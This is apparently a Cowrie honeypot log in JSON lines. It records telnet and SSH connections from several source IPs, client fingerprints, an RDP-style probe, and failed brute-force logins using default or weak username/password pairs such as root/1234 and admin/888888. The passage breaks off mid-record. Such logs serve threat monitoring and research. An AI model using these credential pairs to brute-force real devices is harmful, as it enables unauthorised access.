{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":54570,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bd8e47ca72d","protocol":"telnet","message":"New connection: 176.65.139.118:54570 (159.203.135.109:23) [session: 2bd8e47ca72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:34.553586Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:38.698181Z","src_ip":"176.65.139.118","session":"2bd8e47ca72d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.302475690841675,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:40.855919Z","src_ip":"176.65.139.118","session":"2bd8e47ca72d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":51312,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a93f63d5fb6","protocol":"telnet","message":"New connection: 176.65.139.118:51312 (159.203.135.109:23) [session: 5a93f63d5fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:41.263664Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"86981198","message":"login attempt [root/86981198] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:45.353271Z","src_ip":"176.65.139.118","session":"5a93f63d5fb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.96013069152832,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:47.223681Z","src_ip":"176.65.139.118","session":"5a93f63d5fb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":43398,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a5f514aa858","protocol":"telnet","message":"New connection: 176.65.139.118:43398 (159.203.135.109:23) [session: 2a5f514aa858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:47.548438Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40662,"dst_ip":"159.203.135.109","dst_port":22,"session":"19d1b6278a5d","protocol":"ssh","message":"New connection: 194.113.233.25:40662 (159.203.135.109:22) [session: 19d1b6278a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:51.838605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:51.843773Z","src_ip":"194.113.233.25","session":"19d1b6278a5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:51.942213Z","src_ip":"194.113.233.25","session":"19d1b6278a5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spartak1","message":"login attempt [root/spartak1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:52.231624Z","src_ip":"194.113.233.25","session":"19d1b6278a5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"888888","message":"login attempt [admin/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:53.224986Z","src_ip":"176.65.139.118","session":"2a5f514aa858","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:53.328514Z","src_ip":"194.113.233.25","session":"19d1b6278a5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.68701171875,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:54.235318Z","src_ip":"176.65.139.118","session":"2a5f514aa858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":42250,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a629884171b","protocol":"telnet","message":"New connection: 176.65.139.118:42250 (159.203.135.109:23) [session: 5a629884171b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:55:54.638247Z"}
{"eventid":"cowrie.session.closed","duration":9.7747962474823,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:04.412884Z","src_ip":"176.65.139.118","session":"5a629884171b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":41860,"dst_ip":"159.203.135.109","dst_port":23,"session":"8390e2280d55","protocol":"telnet","message":"New connection: 176.65.139.118:41860 (159.203.135.109:23) [session: 8390e2280d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:04.607062Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"j1/_6s*w","message":"login attempt [root/j1/_6s*w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:08.320588Z","src_ip":"176.65.139.118","session":"8390e2280d55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.614722728729248,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:10.221631Z","src_ip":"176.65.139.118","session":"8390e2280d55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":52914,"dst_ip":"159.203.135.109","dst_port":23,"session":"c252667770ab","protocol":"telnet","message":"New connection: 176.65.139.118:52914 (159.203.135.109:23) [session: c252667770ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:10.369818Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"solokey","message":"login attempt [root/solokey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:13.995512Z","src_ip":"176.65.139.118","session":"c252667770ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.805481433868408,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:16.175075Z","src_ip":"176.65.139.118","session":"c252667770ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59676,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7aa13bd0053","protocol":"telnet","message":"New connection: 152.42.224.71:59676 (10.17.0.5:23) [session: b7aa13bd0053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:17.493787Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":37880,"dst_ip":"159.203.135.109","dst_port":23,"session":"93c36adcb6a0","protocol":"telnet","message":"New connection: 176.65.139.118:37880 (159.203.135.109:23) [session: 93c36adcb6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:19.279460Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:20.627205Z","src_ip":"176.65.139.118","session":"93c36adcb6a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.7965023517608643,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:23.075853Z","src_ip":"176.65.139.118","session":"93c36adcb6a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":35506,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1f7d2079399","protocol":"telnet","message":"New connection: 176.65.139.118:35506 (159.203.135.109:23) [session: c1f7d2079399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:23.154282Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33038,"dst_ip":"10.17.0.5","dst_port":23,"session":"1374f88ad66f","protocol":"telnet","message":"New connection: 152.42.224.71:33038 (10.17.0.5:23) [session: 1374f88ad66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:26.157445Z"}
{"eventid":"cowrie.login.failed","username":"router","password":"router","message":"login attempt [router/router] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:28.987634Z","src_ip":"176.65.139.118","session":"c1f7d2079399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":48904,"dst_ip":"159.203.135.109","dst_port":23,"session":"179aab2a1d33","protocol":"telnet","message":"New connection: 176.65.139.118:48904 (159.203.135.109:23) [session: 179aab2a1d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:31.103154Z"}
{"eventid":"cowrie.session.closed","duration":8.533744812011719,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:31.687924Z","src_ip":"176.65.139.118","session":"c1f7d2079399","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Administrator","password":"Vision2","message":"login attempt [Administrator/Vision2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:37.243519Z","src_ip":"176.65.139.118","session":"179aab2a1d33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.155243158340454,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:38.258165Z","src_ip":"176.65.139.118","session":"179aab2a1d33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":52360,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ca2bfd31938","protocol":"telnet","message":"New connection: 176.65.139.118:52360 (159.203.135.109:23) [session: 0ca2bfd31938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:38.367289Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57414,"dst_ip":"10.17.0.5","dst_port":23,"session":"252f1f278ed1","protocol":"telnet","message":"New connection: 152.42.224.71:57414 (10.17.0.5:23) [session: 252f1f278ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:38.477367Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57430,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfb102cf3cf4","protocol":"telnet","message":"New connection: 152.42.224.71:57430 (10.17.0.5:23) [session: bfb102cf3cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:40.423778Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59739,"dst_ip":"159.203.135.109","dst_port":22,"session":"0daa2c2c7e41","protocol":"ssh","message":"New connection: 152.42.212.128:59739 (159.203.135.109:22) [session: 0daa2c2c7e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:42.414582Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:42.419894Z","src_ip":"152.42.212.128","session":"0daa2c2c7e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:42.426810Z","src_ip":"152.42.212.128","session":"0daa2c2c7e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.812745332717896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:56:57.970091Z","src_ip":"152.42.224.71","session":"1374f88ad66f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.881836891174316,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:03.305471Z","src_ip":"152.42.224.71","session":"bfb102cf3cf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":48810,"dst_ip":"159.203.135.109","dst_port":22,"session":"81425c9f77dc","protocol":"ssh","message":"New connection: 80.94.92.171:48810 (159.203.135.109:22) [session: 81425c9f77dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:07.529071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:07.815144Z","src_ip":"80.94.92.171","session":"81425c9f77dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:07.825703Z","src_ip":"80.94.92.171","session":"81425c9f77dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:08.801306Z","src_ip":"80.94.92.171","session":"81425c9f77dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:10.014012Z","src_ip":"80.94.92.171","session":"81425c9f77dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.45055031776428,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:22.927806Z","src_ip":"152.42.224.71","session":"252f1f278ed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42826,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b9e7fd657a","protocol":"ssh","message":"New connection: 77.94.47.83:42826 (10.17.0.5:22) [session: f3b9e7fd657a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:31.554272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:31.560737Z","src_ip":"77.94.47.83","session":"f3b9e7fd657a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:31.691612Z","src_ip":"77.94.47.83","session":"f3b9e7fd657a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"counter","message":"login attempt [root/counter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:32.861710Z","src_ip":"77.94.47.83","session":"f3b9e7fd657a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:33.995436Z","src_ip":"77.94.47.83","session":"f3b9e7fd657a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.57617521286011,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:57:48.069869Z","src_ip":"152.42.224.71","session":"b7aa13bd0053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49150,"dst_ip":"10.17.0.5","dst_port":23,"session":"da9bcb753640","protocol":"telnet","message":"New connection: 152.42.224.71:49150 (10.17.0.5:23) [session: da9bcb753640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:58:25.468470Z"}
{"eventid":"cowrie.session.closed","duration":108.81807613372803,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:58:27.185228Z","src_ip":"176.65.139.118","session":"0ca2bfd31938","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":47988,"dst_ip":"159.203.135.109","dst_port":23,"session":"b04e666b8b0f","protocol":"telnet","message":"New connection: 176.65.139.118:47988 (159.203.135.109:23) [session: b04e666b8b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:58:27.285466Z"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemon","message":"login attempt [daemon/daemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:58:31.957113Z","src_ip":"176.65.139.118","session":"b04e666b8b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.672346830368042,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:58:32.957664Z","src_ip":"176.65.139.118","session":"b04e666b8b0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":40606,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ffb025a5a21","protocol":"telnet","message":"New connection: 176.65.139.118:40606 (159.203.135.109:23) [session: 3ffb025a5a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:58:33.311706Z"}
{"eventid":"cowrie.session.closed","duration":11.364545583724976,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:58:44.676113Z","src_ip":"176.65.139.118","session":"3ffb025a5a21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":41074,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea69567b9f93","protocol":"telnet","message":"New connection: 176.65.139.118:41074 (159.203.135.109:23) [session: ea69567b9f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:58:45.018018Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:58:52.106894Z","src_ip":"176.65.139.118","session":"ea69567b9f93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":42562,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8238a7e9935","protocol":"ssh","message":"New connection: 103.82.132.16:42562 (10.17.0.5:22) [session: a8238a7e9935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:14.708863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:14.713782Z","src_ip":"103.82.132.16","session":"a8238a7e9935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.46594166755676,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:59:14.934279Z","src_ip":"152.42.224.71","session":"da9bcb753640","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.